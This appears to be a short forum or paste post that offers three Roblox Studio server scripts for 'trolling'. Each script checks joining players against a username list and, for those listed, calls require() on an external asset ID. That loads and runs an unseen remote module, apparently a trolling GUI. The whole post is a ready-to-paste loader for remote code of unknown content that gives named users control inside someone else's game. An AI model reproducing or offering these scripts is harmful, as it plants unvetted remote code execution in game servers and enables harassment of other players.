--you like  my gui use it in roblox studio
local allowed = {"Abou10112", "pokediger1"}

game.Players.PlayerAdded:Connect(function(player)
	for i, v in pairs(allowed) do
		if player.Name == v then
			require(3397500272):Fire(player.Name)
		end
	end
end)
--have some fun trolling and use it in Script next one
local allowed_players = {"Abou10112", "Aprilthecute"}

game.Players.PlayerAdded:Connect(function(player)

    for i,v in pairs(allowed_players) do

        if player.Name == v then

require(3397500272):Fire(player.Name)

        end

    end

end)
--next one
local allowed = {"Your Username", "A friends name"}

game.Players.PlayerAdded:Connect(function(player)
    for i, v in pairs(allowed) do
        if player.Name == v then
            require(3146633195):Fire(player.Name)
        end
    end
end)
--use all of thses in roblox studio and Script